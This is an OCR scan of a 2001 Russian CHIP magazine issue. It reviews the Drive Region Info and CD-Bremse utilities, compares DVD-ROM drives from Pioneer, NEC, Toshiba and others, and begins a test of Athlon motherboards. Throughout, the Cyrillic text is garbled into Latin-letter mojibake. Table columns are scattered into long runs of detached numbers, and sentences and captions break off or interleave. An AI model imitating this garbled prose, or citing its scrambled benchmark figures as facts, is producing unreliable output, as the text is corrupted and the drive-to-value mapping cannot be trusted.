Aa ociaeicfl c nocneAHMM 3aAaHHbiM koaom crpa- 
Hbi. nporpaMMa Drive Region Info no3BO/mT cmot- 
peib, KaKOM pemoHa/ibHbm koa ycraHOB/ieH Ha 
npMBOAe b HacroflLAee BpeMA m 3aA6MCTBOBaHa /im 
y>Ke 6/iOKMpoBKa AOCTyna. TaK>Ke OHa BbiAaeT bcio 
MHcfiopMaAMio o npoiiiMBKe npMBOAa, Mapxe m mo- 


Drive Region Info 


Pa3pa6oTHMK Visual Domain 
Pa3Mep apxwBa 6,5 K6anT 

OnepauMOHHaB cwcieivia 

Windows ME/95/98/NT/2000 

Bma pacnpocTpaHeHMfl freeware 


Ae/iM DVD-HOCMTe/m. 3iy yAo6Hyio yTM/imy 6o/ib- 
me Bcero oueHflT ueHMTe/iM kmho, KOTopbie npeA- 
noHMTaiOT CMOTpeTb cJdm/i bM bi 6e3 nepeBOAa. 



▲ nporpaMMa «Drive Region lnfo» 
noKaabiBaeT koa CTpaHbi BCTpoeHHbiM 
b Bam DVD-npMBOA 


KaK CAeiiaib tmxhmm luyMHbie npiiBOAbi 


1/lopHy 0M6e^bKopHy ero DVD-npMBOA, noxo>Ke, 
npo>Ky>K>Ka^ Bee ymu. Oh AB/meTCfl aBTopoM xmt- 
poM yTM/iMTbi CD Bremse b BepcMM 1.11 (aHa^or 
CD Slow). npM BOcnpoM3BeAeHMM DVD-c|DMjibMa 
HMKorAa He AOCTMraeTC5i CKopocTb nepeAani/i AaH- 
Hbix Bbime lx (1350 K6aMT/c). HanpoTMB, naiAe 
Bcero KO/iMHecTBO AaHHbix ^ibho MeHbme 3tom am- 
cjDpbi. TorAa noneMy DVD-ROM ao/dkch roH5iTbC5i Ha 

nO^HOM CKOpOCTM M npM 3TOM M3A3BaTb 3ACKMM 
myM, ec^M oh mot 6bi b no^HOM TMmMHe Bbino^- 
Hf\Jb CBOlO pa 60 Ty? 

no 3TOMy npMHAMny AencTByeT CD-Bremse, chm- 
>Ka5i CKopocTb DVD i/i/in CD-npMBOAOB. TaK>Ke yAo6Ha 
cfiyHKAMfl aBTOMaTMHecKoro nepemnoneHM^i b tmxmm 
pe>KMM, nepe3 3aAaHHoe BpeM^i. TecT noKa3a^, hto 
mhotmm DVD-npMBOAaM Tpe6yeTC5i p,nn stoto 6o^ee 
oahom MMHyibi. K cowa/ieHMio, nporpaMMa pa6oiaeT 
He CO BCeMM MCnblTaHHblMM HaMM npMBOAaMM. 



a TpioK: nporpaMMa yMeHbmaeT noTOK 
AaHHbix, KOTOpbIM CTaHOBMTCB paBHO- 
MepHbiM, a DVD-npMBOA - tmxmm 


M to r 

CKopocTb 16x mam Bee we HeT? 


KoHeHHo, xopomo HMTaTb DVD c 16-KpaTHOM cko- 
pocTbio (to ecib nepeAana AaHHbix cociaBMT 6o^ee 
20 M6aMT/c), ho TecT oinei^MBO noKa3a/i, hto Tax 
pa6oiaiOT TO^bKO M36paHHbie ahckm, ciporo coot- 
BeTCTByioiAMe BceM 6e3 MCK/itoneHMii AonycxaM. B 
pea^bHbix yc^OBM^ix npu cpaBHeHMM c cepMMHbiMM 
DVD no^ynaeTCfl Apyra^i KapTMHa. K TOMy >ne no 
cen AeHb cyiAecTByei oneHb Ma^o MHcj)opMai4MOH- 
Hbix DVD, a AJifl cjDM/ibMOB XB3TMT pa6oTbi Ha nep- 
bom CKopocTM. nosTOMy yMecieH Bonpoc: HTO 3Ha- 
hmt 6eccMbic/ieHHafl mjwsrn ckopoctm? 


B Lje/iOM OKa3a^ocb, hto DVD-npMBOAbi MAyT ca- 
mom npaBM/ibHOM AoporoM Ha CMeHy CD-ROM. 
EiAe roA Ha3aA DVD, KaK npaBn/io, bo mhotom 
ycryna/iM cbomm CD-co6paTb5iM b OTHomeHMM 
Audio-Grabbing. NEC, Aopen, a TaK>Ke Pioneer 
CO CKOpOCTblO CHMTblBaHMil 6o^ee 17x Me>KAy 
TeM AOKa3a/iM npoTMBono^o>KHoe. Ho Ba>KHen- 
mMM apryMeHTOM 5iB^^eTC5i 6/iaronpnflTHaa ue- 
Ha: 3an^aTMB Bcero Ha $40 6o/ibwe 3a xopomMM 
DVD-npMBOA, Bbi paciuMpMTe cbom nK ao My^b- 

TMMeAMMHOM MamMHbl. 

CHIP MIOHb 2001 
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HARDWARE cpaBHme/ibHoe TecTHpoBaHMe 


11333? 

75, >>06/2001 

V* 


fiam 

^ >>06/2001 



npoAyxT 

Pioneer 

Samsung 

LG 

NEC 

Toshiba 


DVD-114 

SD-612 

DRD-8120B 

DV-5800A 

SD-M1502 

UeHa 

$90 

$90 

$75 

$85 

$85 

06iuaa oueHKa 

88 

85 

81 

78 

76 

3(JxJ>eKTMBHOCTb pa6oTbi c DVD (30%) 

100 

78 

80 

63 

70 

34»4»eKTMBHOCTb pa6oTbi c CD (30%) 

93 

71 

85 

100 

75 

TecT Ha wyM (30%) 

74 

100 

72 

67 

82 

OcHameHMe (10%) 

78 

100 

100 

89 

78 

UeHa/KanecTBO 

90 

95 

100 

83 

85 

klTor 

XOTfl M flOCTaTOHHO 

OHeHb TMXMM npMBOfl 

Xopowaa CMecb: 

OnTMMa/ibHbie 

HOMMHa/lbHO CaMbIM 


rpOMKMM, HO C OHeHb 

C epeflHMM TeMnOM 

SbICTpO, 6e30LUM60H- 

noKa3aie/iM fl/ia DVD; 

SbICTpbIM flMCKOBOfl B 


xopoiiiMMM noKa3aie- 

CHMTbIBaHMfl M HeflO- 

HO, npM 3T0M OTHOCM- 

npoflaeTca Tame b 

Tecie. MHTe/i/ieKTya/ib- 


/lAMM 

CTaTKaMM B OTHOLUe- 

TenbHO tmxo m no 

naneie c PowerDVD 

Hoe MMKponporpaMM- 



hmm Audio-Grabbing 

BbiroflHOM ueHe 

3.0 M DVD-CjjM/lbMOM 

Hoe obecneneHMe 






TexHHHecKMe 

MHTepcJjeMC 

ATAPI 

ATAPI 

ATAPI 

ATAPI 

ATAPI 

HoMMHa/ibHaB CKopocTb nepeflaHM flaHHbix (DVD) 

lOx 

12x 

12x 

16x 

16x 

HoMMHajibHaB CKopocTb nepeflaHM flaHHbix (CD-ROM) 

40x 

40x 

40x 

40x 

48x 

MMKponporpaMMHoe o6ecneneHMe (firmware) 

2.06 

BL08 

vl.03 

VI. 42 

vl008 

Pa 60 T 0 Cn 0 C 06 H 0 CTb B BepTMKa/lbHOM no/ioweHMM 

• 




• 

AHa/ioroBbm ayflMO-Bbixofl 

• 




• 

UmtjpoBofi ayflMO-Bbixofl 

- 




• 

rHe3flo fl/iH HayiiiHkiKOB 

• 




- 

Pery/iBTop rpoMKOCTM 

• 




- 

MMKponporpaMMHoe o6ecneHeHMe, OTK/nonatomee koa CTpaHbi 

• 

- 


- 

- 

Pe3ynbTaTbi 

MaKCMMa/ibHaa CKopocTb nepeflaHM flaHHbix c DVD (K6aMT/c) 

12592 

9837 

13189 

9710 

14764 

CpeflHBB CKopocTb nepeflaHM flaHHbix c DVD (K6aMT/c) 

9712 

7403 

9803 

7214 

7925 

3arpy3Ka CPU lx/2x DVD (%) 

3/6 

4/7 

7/13 

6/10 

5/10 

BpeMn o6paifleHMB k DVD cpeflHee/Full Stroke (mc) 

49/125 

44/185 

120/77 

95/186 

152/200 

MaKCMMa/ibHan CKopocTb nepeflaHM flaHHbix c CD (K6aMT/c) 

5728 

5583 

6356 

3786 

7268 

CpeflHBB CKopocTb nepeflaHM flaHHbix c CD (K6aMT/c) 

4176 

3990 

4140 

3575 

4604 

BpeMH o6paifleHMn k CD (mc) 

94 

106 

97 

84 

109 

Audio-Grabbing (x-KpaTHo) 

17 

8 

13 

18 

9 

KO/l MHeCTBO 0 UJM 60 K 

0 

0 

0 

0 

0 

BpeMH KOppeKUMM oujm6ok (c) 

90 

162 

92 

97 

67 






TecT Ha 

BocnpoM3BefleHMe DVD, rpoMKOCTb (coh) 

3 

3 

2 

2 

1 

BocnpoM3BefleHMe DVD, 3ByKOBoe flaB/ieHne (flB) 

40 

40 

37 

37 

28 

/lMHHbie c/iyxoBbie BnenaT/ieHMH (6a/uibi 1-10) 

6 

10 

8 

8 

10 

XonMpoBaHMe c DVD, rpoMKOCTb (coh) 

4 

3 

7 

8 

9 

XonMpoBaHMe c DVD, 3ByKOBoe flaB/ieHMe (flB) 

43 

41 

49 

53 

53 

/lMHHbie cnyxoBbie BnenaT/ieHMa (6a/i/ibi 1-10) 

7 

9 

3 

3 

2 

CD-Bremse 

- 

He Hy>neH 

• 

- 

He Hy>neH 


• fla - HeT 


KaK m bi TecTMpoBa/in DVD-npi/iBOAbi 

B4)(|ieKTMBH0CTb de3 ujyMa 

Bee npuBOAbi DVD-ROM AO/i>XHbi 6 bi jim A 0 xa 3 aTb cboio cnoco 6 HOCTb 3 cJ)c^eKTMBH 0 pa 6 oiaTb c 
DVD i/i CD-AMCKaMM. McnbiTaiejibHbm uemp Chip'a npoTecTMpoBa/i Bee npwBOAbi no c/ieAyx)- 
lahm napaMeipaM. 


34Kj>eKTMBHOCTb paSoTbi c DVD 

acjDCjDeKTMBHOCTb pa60Tbl npMBOflOB C flMCK3MM DVD 
onpefle/m/iacb c noMOiflbio Benchmark Tecia DVD 
Tach 98 BepcuM 2.52. 3tot nporpaMMHbm npoflyKT 
TeCTMpyeT CKOpOCTb CHMTblBaHMfl, pa3/lMHH0e BpeMfl 
Aocryna, a nMew-10 cHMTbiBaHne OTfle/ibHbix cpaM- 
/iob, cpeflHee Bpeym flocryna, a TaK>Ke Full Stroke 
(flaHHaa xapaKTepncTi/ixa oco6eHHo Ba>KHa npn pa- 


6oie c 60/ibiiiMM KO/iMHecTBOM cJ/aM/iOB) m 3arpy3Ky 
npoueccopa b npoueHTax npM oflMHapHon n abom- 
HOM CKOpOCTM CHMTblBaHUfl. 3c|DC|DeKTMBH0CTb pa6o- 
Tbi c DVD cocraB/meT 30% ofleHKM. 

3<|)4>6KTMBHOCTb paSoTbi c CD 

Tax KaK npMBOflbi DVD npnMeHMMbi m b KanecTBe 
CD-npnBOflOB, Mbi onpefle/ifl/in CKopocTb chhth- 


Banv\n c pa3Hbix CD-HocnTe/ien: CD, CD-R ( 30 / 10 - 
Tbie, cepe6p/iHbie, 3e/ieHbie m ro/iy6bie), CD-RW 
m Audio CD. fl/ifl M3MepeHM/i CKopocm Mcnbua- 
Te/ibHbm uemp Chi p'a pa3pa6oia/i TecT 
Benchmark. 3ia nporpaMMa TecmpyeT npony- 
CKHyio cnoco6HOdb nepeflani/i flaHHbix c pa3- 
Hbix ceKTopoB CD. KpoMe toto, nporpaMMa H3- 
Mep/ieT cpeflHee BpeM/i flociyna k ceKTopaM . 
riocKO/ibKy MCflapanaHHbie HocMTe/i m c6MBaiOT c 
pmMa MHorue DVD-flpaMBepbi, ouem/iBa/iocb 
TaK>Ke KanecTBO KoppeKfln m owm6ok. n pn chm- 
TbiBaHMM cneflMa/ibHO o6pa6oiaHHoro fl/ia 3Toro 
CD M3Mepfl/incb ko/i nnecTBO flonyifleHHbix own- 
6 ok m BpeM/i o6pa6oTKM. Scj/cJ/eKTHBHocTb pa6o- 
Tbi b KanecTBe CD-ROM T3K>Ke cocTaB/iaeT 
30% oueHKM. 


CHIP 
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TecT 14 DVD-npMBOAOB 
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Panasonic 

Pioneer 

Pioneer 

Toshiba 

Acer 

Aopen 

LiteOn 

Hitachi 

Delta 

SR-8586-B 

DVD-105SZ 

DVD-U05S 

SD-M1402 

DVP 1640A 

DVD1240 

LTD-122 

GD7500 

12x DVD-ROM 

$80 

$98 


$75 

$110 


$70 

$75 

$70 

76 

74 

74 

72 

71 

71 

71 

54 

45 

71 

92 

65 

75 

96 

72 

60 

31 

30 

82 

100 

98 

79 

93 

88 

85 

57 

33 

70 

25 

56 

66 

23 

48 

74 

66 

62 

89 

89 

78 

67 

78 

89 

56 

78 

78 

85 

76 

55 

89 

57 

84 

98 

67 

59 

OSbiHHo ycTaHaB/iM- 

OneHb xopow npn 

EflMHCTBeHHblH SCSI- 

/lerKO AOCTHraeT 

OOemaHO 16x, ho b 

Bbino/iHaeT Bee o6e- 

CpeAHee KanecTBo 

C TeCTOM Ha CHHTbl- 

Olum6kh He Kop- 

BaeTCfl KaK OEM- 

CHMTblBaHMM flaHHblX, 

flMCKOBOfl, CKTIOHHblM 

40x, He JiioSm cmhmx 

HaiueM Tecie aoctmt 

maHHoe, ho 3aT0 

CHMTblBaHMfl, HO 6e3 

BaHkie He cnpaBmica, 

peKTkipyeT, boc- 

npMBOfl, pblHMT KaK 

HO C/IHLUKOM rpOM- 

k npeyMeHbLueHMio. 

CD m eABa HaOnpaeT 

/lMLUb 10-KpaTHOH 

KpakiHe rpoMKO 

olumSok. 3aio c/imu- 

AonycTHB 6o/iee 

np0M3B0AHT 

MeflBeAb m Bocnpo- 

KHH, ec^n peHb MfleT 

no HaiiiMM M3Mepe- 

9, lx. C CD-Bremse 

CKOPOCTM 


KOM rpOMKMH 

1000 olum6ok m no- 

TO/lbKO H36paH- 

M3B0AMT DVD-RAM 

o DVD-ct>M/ibMax 

HHflM CKOpOCTb CD 

paOoTaeT HaMHoro 




TpaTHB Ha 3T0 Mac 

Hbie CD. CnacHOo, 



AOCTMraeT 45x 

THLLie 





He HaAo! 

XapaKTepMCTMKM 









ATAPI 

ATAPI 

SCSI 

ATAPI 

ATAPI 

ATAPI 

ATAPI 

ATAPI 

ATAPI 

12x 

16x 

lOx 

12x 

16x 

12x 

12x 

12x 

12x 

40x 

40x 

40x 

40x 

40x 

40x 

40x 

40x 

40x 

V3Y19 

vl.ll 

1.00 

1010 

vl.13 

VR04 

vl.9 

V0005 

vO.08 



• 

• 

• 



• 

• 



• 

_ 

• 



• 

• 



• 

- 

• 



• 

• 


To/ibKO fl/ifl RC1 

- 

• 

To/lbKO RC1 

- 


• 

- 

H3MepeHHH 

12699 

15829 

13715 

9928 

16014 

16603 

11319 

6427 

3354 

9870 

12557 

10204 

7640 

13628 

12309 

8286 

5958 

3338 

6/9 

4/8 

10/19 

4/7 

4/7 

7/14 

7/14 

30/58 

38/74 

105/200 

50/200 

88/186 

57/200 

52/200 

97/200 

109/190 

324/200 

134/200 

3530 

6808 

6831 

6179 

3809 

3661 

5982 

6016 

6175 

2846 

4963 

4867 

3596 

3672 

2477 

4080 

4015 

2128 

127 

90 

92 

85 

90 

112 

98 

112 

149 

16 

14 

16 

9 

13 

18 

14 

15 

8 

0 

0 

0 

0 

0 

0 

0 

1046 

3960 

76 

66 

70 

65 

68 

70 

139 

3477 

69 

uiyM 









4 

6 

5 

5 

8 

4 

3 

4 

3 

41 

48 

45 

46 

51 

43 

41 

43 

42 

6 

3 

5 

6 

2 

7 

8 

5 

8 

6 

9 

5 

6 

8 

10 

9 

4 

8 

47 

53 

45 

48 

53 

55 

52 

41 

52 

4 

0 

5 

5 

2 

0 

3 

6 

2 

• 

- 

- 

• 

- 

- 

• 

- 

- 


TecT Ha wyM 

3tot HOBbm TecT npMo6peTaeT, KaK m p,nn we- 
ctkmx amckob, 6o/ibwoe 3HaneHMe — 30% 
oueHKM. Koro npM npocMOTpe BMAeo He HepBM- 
poBa/i cjimwkom rpoM km m npMBOA? B HaiueM 
M3MepMTe/lbHOM 6oKCe CO 3ByK0M30/l^AMeM Mbl 
onpeAe/ifl/iM rpoMKOCTb b coHax m 3ByKOBoe 
AaB/ieHMe b aB (A). KpoMe toto, yHMTbiBa/iocb 
/i m h h oe BnenaT^eHMe. 3tm TpM Tecia Mbi npoBO- 
AMJ1M KaK npM BOCnpOM3BeAGHMM BMAeo, TaK M 
npM KonMpoBaHMM BMAeocjDaM/ia. flono/iHMTe/ib- 
ho npoBOAM/i m onbiT no npMMeHeHMio nporpaM- 
Mbi CD-Bremse, KOTopaa b c/iynae cobmcctm mo- 
ctm ch M)KaeT o6opoTbi npMBOAa. B nacTHOCTM, 
A/ifl BMAeo-DVD npodo Heo6xoAMMO yMeHb- 
LU MTb H M C/10 o6opOTOB. flOCKO/lbKy B 3TOM C/iy- 


nae He Tpe6yeTca CKopocTb 6o/ibiue OAHOKpaT- 
hom, naiAe Bcero Ta km m npocTbiM cnoco6oM 
mo>kho pe3KO noHM3MTb ypoBeHb ujyMa. Bee >Ke 
MHTe/i/ieKTya/ibHoe MMKponporpaMMHoe o6ec- 
neneHMe ao/i>kho pacno3HaTb, KorAa BK/iaAbiBa- 
eicn BMAeo-DVD, m caMO yMeHbWMTb hmc/io 
o6opOTOB. 

OcHaiMeHHe 

OCHaiAeHMIO Mbl OTBOAMM 10% OLjeHKM. no 3TOMy 
napaMeipy 6a/uibi npMcy>KAa/iMCb aHa/ioroBbiM m 
UM cJ/poBbiM BbixoAaM ayAMO, a TaK>Ke npM/iaraeMO- 
My nporpaMMHOMy o6ecneneHMK) (Software-DVD- 
PLayer, ApaMBep p,nn DOS m t. a-)' Ka6e/iflM nepe- 
AaHM AaHHbix, Ka6e/iflM ayAMO m MOHTa>KHbiM Maie- 
pMa/iaM. 


OueHKa Chip’a 

OcHaiAeHMe 3cjDc|DeKTMBHocTb pa6oTbi c DVD 



Ted Ha LuyM 3c|3c|3eKTMBHOCTb pa6oTbi c CD 


CHIP 


M K) H b 


2 0 0 1 
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HARDWARE TecT MaiepHHCKHX n/iaT 



! : 1 I: ' ,! =| 




BOI w 


VIA KT 133A 


VIA KT 133 


Tri-Athlon h 266 


CHIP 


M K) H b 


2 0 0 1 




TecT 11 MaiepMHCKMx n/iaT a / 1 a hoboto C-Athlon 
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nO/ie3HblX COBOTOB 




A/iji AOCTM>KeHMfl BbicoKMx noKa3aTe/ieM /iio6oMy 
cnopTCMeHy Heo6xoflHM KanecTBeHHbm 
m Hafle>KHbiM MHBemapb, a T3K>Ke cooTBeTCTByiomMe 
yc/iOBmi. Tax m p,nn Haiuero neMnnoHa Athlon 
c flo6aBKOM «BHTaMMHa C» Heo6xoflMMa apeHa, Ha 
KOTopoM oh CMOJKeT nonrpaTb MycKy/iaMM. rioaTOMy 
Mbi npoTecTMpoBami 11 MaiepMHCKMx n/iaT, Bbino/i- 
HeHHblX Ha OCHOBe Tpex pa3/lMHHblX HkinceTOB. 


K /iaccMHecKMM TpnaT^OH coctomt M3 Tpex AMCUMruiMH: 6er, Be/ioroH- 
Ka m n/iaBaHMe. B Tex we caMbix KaieropM^x K/iaccMc|3MAMpoBaHbi m 
H aniM ynacTHMKM — 6o/ibwafl nacTb M3 hmx 6ewMT, HeMHorMe eflyT Ha Be- 
^ocMnefle, a HeKOTopbie m BOBce n/ibiByT. KaKafl M3 n/iaT cooTBeTCTByeT 
tom m/im mhom flMcuMruiMHe, Bbi CMOweTe y3HaTb 6/iaroAapa HaniMM Tec- 
TaM. Ho p,nn Hana/ia Mbi CAe/iaeM KpaTKMM o63op TexHMiecKMx AeTa/iePi m 
paccMOTpMM Bonpoc, no iokmm npMHMHaM Bbi MomM 6bi npMo6pecTM cePi- 
nac HOByio n/iaTy pj\n npoueccopa Athlon. 

Athlon c noflAep>KKOM 266 MTu FSB 
h naivmTM DDR SDRAM 

Tot Athlon, c KOTopbiM Mbi 6bi/iM 3HaKOMbi ao cmx nop, MMe/i CMCTeMHbiPi 
m HT epcjDeMc, pea^M30BaHHbiPi Ha 6a3e lu m h bi c nacTOToPi 200MTa c mc- 
no-nb30BaHMeM npoTOKO/ia Alpha EV6. HacTOTa BHewHeM lUMHbi cocraB- 
jifl/ia 100 MTa. riocKO^bKy caM Athlon c asbhmx nop ocHaiAeH TexHO/io- 
rMeM DDR (Double Data Rate), to oh nepeAaeT b Aaa pa3a 6o/ibwe 
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HARDWARE TecT MaiepHHCKHX n/iaT 



kl3MepeHMe TeMnepaTypbi: ec/in eauia CMCTeMa HyecTByeT ce6a 
He ^yniiiMM o6pa30M, to n/iaTbi ot NMC h Epox yna>KyT eaM npw- 
HMHy npo6/ieMbi 


MHCjDOpMaUMM 3a OflMH TaKT. riOSTOMy SCjDCjDeKTM B- 
Haa nepeflana flaHHbix Ha CMCTeMHyio lUMHy ocy- 
mecTB/ifleTCfl c nacTOTOM 200 MI"a. AMD pa3pa6o- 
Ta/ia HOBbm BapMaHT, Ao6aBMB b Athlon 
MH-beKAMfo BmaMMHa C, hto yBe/iMHM/io pa6oHyio 
nacTOTy LUMHbi flo 133 MI"a. 5/iaroAapfl DDR 3c(d- 
cfieKTMBHafl pa6oHaa nacTOTa cocraBjifleT Tenepb 


266 MI"a. OinMHMTb 266-Pi 
Athlon mo>kho no 6yKBe 
C b KOHAe nepBOM crpo- 
KM MapKMpOBKM LjeHT- 
pa/ibHoro npoueccopa; 
Ha Bcex npeflbiflymi/ix 
MOAe/iax 3flecb Kpaco- 
Ba/iacb 6yKBa B (cm. 
pi/icyHOK Ha dp. 45). 
MnHycaMM npeflbiAy- 

IAMX HMnceTOB MO>KHO 
CHMTaTb HeAOCTaTOHHyiO 
npOM3BOAHTe/lbHOCTb M 
OTcyTCTBMe noAAep>KKM 
MOAy/iePi naM^TM DDR 
SDRAM (Double Date 
Rate), Aa m npM pa6oie 
c SDR (Single Data 
Rate) ohm abho 6bi/in 
He Ha BbicoTe. Tenepb 
KOMnaHMM AMD, Ali m 
VIA BbinycTM/iM Ha pbiHOK HOBbie HMnceTbi. Oamh 
M3 hmx, AMD 760, 6epei Ha ce6a po/ib /iMAepa m 
Ham^AHO noKa3biBaeT cbomm KO/i/ieraM AliMagikl 
m VIA KT266, KaK HaAO pa6oiaib. Ho KaK mnbKO 
o6a KOHKypeHTa CTaHynBepAO AepwaTbca b ceA- 
/ie, AMD BHOBb npeKpaTMT Tax He/iio6MMoe ev\ 3a- 
H^iTMe — npoM3BOACTBO HMnceTOB. OAHaKO, noxa 


3 to npoM30MAeT, AMD ycneeT BbinycTMTb c KOHBePi- 
epa HecKO/ibKO HOBeHbKMx ceBepHbix moctob 
(Northbridges). 

no pe3y^biaiaM cpaBHMTe/ibHbix TedOB bmaho, 
hto TaKOMy nyAy KOMnaHMM Ali, KaK AliMagikl, ko- 
TopbiPi b npMHAMne pa6oiaei KaK c DDR, TaK m SDR, 
eiAe Heo6xoAMMO Bpeym p,nn «Bbi3peBaHMfl». VIA 
Bee eiAe npaneT cbom HOBbm KT266 3a y>Ke npoBe- 
peHHyio BepcMHD npeAwecTBeHHMKa KT133A. Oh >Ke, 
b OT/iMHMe ot KT266 m/im ero KO/uier, noAAep>KMBaeT 
TO/ibKO C-Athlon, ho He naMATb DDR SDRAM, ocraBa- 
ncb BepHbiM CTapoPi Ao6pon SDR. Ho 6/iaroAapfl mc- 
no/ib30BaHMHD C-Athlon 1200, KOTopbiPi pa6oTaeT b 
pe>KMMe 9x133 Mlu, no cpaBHeHMio c B-Athlon 
(12x100 MTa) AOCTMraeTC^ lO-npoLjeHTHoe yBe/iM- 
HeHMe npOM3BOAMTe/lbHOCTM. 

Ec/im Bbi HMTa/iM npeAbiAyiAMM HOMep Chip, to 
noMHMTe o npeMMyiAecTBe naMATM DDR SDRAM 
no cpaBHeHMio c SDRAM (oco6eHHO 3 to 33MeTHO 
b Mrpax). Ho npoM3BOAHTe/ibHOCTb 33 bmcmt He 
to /1 bKO ot TMna naM^TM, ho m ot KanecTBa MaTe- 
pn hckom n/iaTbi m Mcno/ib3yeMoro HMnceTa. B He- 
KOTopbix c/iynaflx HOBbiPi tm n naMATM DDR SDRAM, 
c TeopeTMHecKOM nponycKHOM cnoco6HOCTbio 
1,6 T6aMT/c m 2,1 l"6aPiT/c p,nn PC1600 m PC2100 
cooTBeTCTBeHHO onepe>KaeT SDRAM c nponycK- 
hom cnoco6HOCTbio 1064 M6anT/c a nn PC133 
Bcero Ha 5%. 


riOBEfl PIT E/lb TECTA 


MSI K 7 Master (DDR SDRAM) 


MOUlHOCTb, HafleJKHOCTb, KaneCTBO 



Ec/im Bbi npMHH/iM peiueHMe npoM3BecTM paAM- 
Ka/ibHbie M3MeHeHMH m roTOBbi Mcnonb30BaTb na- 
MHTb DDR SDRAM, He npoxoAMTe mmmo «no6eAM- 
Tenn» ot MSI. 

HeMHorMM 6o/ibLUMe, HeM oOhhho, raOapMTbi 
m BCTpoeHHbm UW160-SCSI-0nboard-Controller 
ot Adaptec mnbKO ycM/iMBaiOT npMHTHoe Bne- 
naT/ieHMe. llpMHUMnMa/ibHO MaTepMHCKan nnaia 
MSI c HMnceTOM AMD 760 HaM/iyniuMM o6pa- 
30M Morna 6bi noAoPiTM f\nn ycTaHOBKM Ha cep- 
Bepe. l~loKa3aTe/iM paOoTbi He ocTaB/inioT b 
3 tom hm Ma/iePnuero coMHeHMn, f\a m no no3M- 


- OTjiMHHbie noKa3aTe;iM b pa6oTe 

- oneHb BbicoKaa CTa6mibH0CTb 
npeBoexoAHbm cepBMC 
B03MO>KHOCTM pa3TOHa 

- OTJIMHHbIM AH3aPlH n/iaTbi 


CoOTHOLUeHMe 


□ □■■■□□□■■76 


ueHa/KanecTBO 
06maa oueHKa □□□□□□□□□□96 


UeHa: okojio $280 

flono/iHMTe^bHoe ocHameHMe: 3a $190 MSI ycTa- 
hobi/it Ha Baiuy K7 Master KOHTpo/uiep UW 160-SCSI 
ot Adaptec 



I4MHM CTaOM/lbHOCTM M 
coBMecTMMOCTM OHa, no- 
>KanyPi, eAMHCTBeHHan He 
Bbi3biBaeT HMK3KMX Hape- 
KaHMPl. 

TeM He MeHee m a^i^ 

OObIHHbIX CMepTHbIX K7 
Master nivieeT uenbiPi pnA 

AOCTOMHCTB. l1p0M3B0AMTenb 

npeAnaraeT HaunyHiuyio co- 
npoBOAMTe/ibHyio AOKyMeH- 
TapMio m yAaneHHyio TexHM- 
necKyio noAAep>KKy. 

BnaroAapn yAanHoPi MapKM- 
poBKe pasteMOB npn noA- 

KTIlOHeHMM HeodXOAMMblX Ka- 
OenePi m LUHypoB y Bac He B03HMKHeT hmk8kmx 
npoOneM. Pa3MeiAeHMe 6 o/ibiuMx paAMaTopoB m Ky- 
nepoB A-n^ CPU Ha MSI K7 Master He cocTaB/ineT 
TpyAa. Mbi ao cmx nop eu^e He HaiunM Kynep, koto- 
poMy 6 bmo 6 bi TecHO Ha ashhoPI nnaTe. Ecnn b 
npouecce cOopKM I1K Bbi AonycTMTe Kanyio-nMOo 
oiuMOKy, to cneuManbHbiPi MHAMKaTop, CMrHa/iM3npy- 
iolamPi 0 HeMcnpaBHOCTHx, cpa3y nponHtpopivmpyeT 
Bac 06 3T0M. np0M3B0AMTenbH0CTb, H3A0>KH0CTb M 
yAoScTBO SKcnnyaTauMM He Bbi3biBaiOT coMHeHMPi. 


Ho AOLueBbiM 3 tot TexHO/iorMHecKn Pi npo- 
pbiB Ha 3 BaTb He/ib 3 H. UeHa Ha 3 Ty MaTepMH- 
CKyio nnaTy cocTaBnneT oKono $280, a c koh- 
TponnepoM UW-SCSI-Onboard y An^iepa OHa 
OyAeT CTOMTb $470. K TOMy >Ke BaM Hy>KHO 6y- 
AeT npMobpecTM AOBonbHo-TaKM Aoporne mo- 
Ay/iM naivmTM DDR SDRAM. nosTOiviy peiuaio- 
LAyio ponb ao/i>kho MrpaTb He >KenaHMe 
CSKOHOMMTb, 3 CTpeiN/l/ieHMe nOBbICMTb npoM 3 - 
BOAMTenbHOCTb M H 3 AS>KH 0 CTb paOOTbl. 
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3eyKOBan CTopoHa eonpoca: ec/in Bbi He MesioiviaH, to ycTaHOB- 
jieHHoro b MSI m Gigabyte ayAHOHMna Creative 6yAeT Bno/iHe 
AOCTaTOHHO 


ripe>KAe Bcero npefl/iaraeMbm All BapnaHT c 
DDR b cpeflHeM Ao6aBnneT HecymecTBeHHbie 2% 
np0M3B0flMTe/l bHOCTM no CpaBHeHMK) CO CKOpOCT- 
HbiM KT133A — npn tom, hto Ha ceroAHnwHMM 
AeHb MOfly^b DDR SDRAM ctomt b neTbipe pa3a ao- 
po>Ke, neM SDRAM, 3 to abho coMHMTe/ibHoe npe- 
MMyiAecTBO. Hi/inceT ALiMagikl noflflep>KMBaeT mo- 
Ay/iM naMATM SDRAM, m no noKa3aTennM pa6oibi 
BbiBOfl OHeBMfleH: «3KOHOMbTe fleHbrM, npoflo/i- 
>KaMTe pa6oTaib c KT133». 

JlyHwe o 6 ctoat Aena c HMnceTOM AMD 760; oh, 
npaBAa, HeAeiueBbiM, ho 3aio 6biCTpbm. B ashhom 
cnynae Mcnonb30BaHMe naMATM DDR SDRAM cra- 
hobmtca o6n3aTenbHbiM ycnoBMeM. KT133 OTCTaeT 
ot Hero b cpeAHeM Ha 17 %. KaK cooTBeTCTByio- 
\i\v\e HMnceTbi nponBuniOT ce6n b pa3/iMHHbix cc(De- 
pax npMMeHeHM^, Mbi paccKa>KeM BaM, npoTecTM- 
pOBaB MX C nOMOlAblO CneAMa^bHblX KOHTpOUbHblX 
3aAan. 

l"lo3BO/ibTe npeAdaBMTb ynacTHMKOB Haiuero 
copeBHOBaHM^: 

MSI K7 Master (DDR SDRAM) 

ripM TecmpoBaHMM MaiepMHCKMx nnaT c HMnceTOM 
AMD 760 CTano acho, hto oh He Tax npocT b Mcnonb- 
30BaHMM, KaK VIA KT133A. TeM 6onee Hac BnenaTUMna 
K7 Master ot MSI, KOTopan KaK no noKa3aTennM, TaK m 
no cjDyHKAMOHa/ibHbiM KanecTBaM nonHocrbio y6eAMna 


Hac b CBoeM npeBoc- 
xoACTBe. Eonee no- 
Apo6Han MHcfiopMauMfl 
o no6eAMTene — bo 
B pe3Ke cneBa Ha 
pa3BopoTe. 

Abit KT 7 A 
(SDRAM) 

A/lfl Tex, KTO CHMTaeT 

DDR SDRAM c/imlukom 

AOpOrMM yAOBO/lbCTBM- 
eM, HO npM 3 TOM XOHeT 
MMeTb xopoiuMe noxa- 
3 aTe^M npn pa 6 oTe, 

Abit KT 7A npeACTaB- 
nneT co 6 om HaMnyn- 
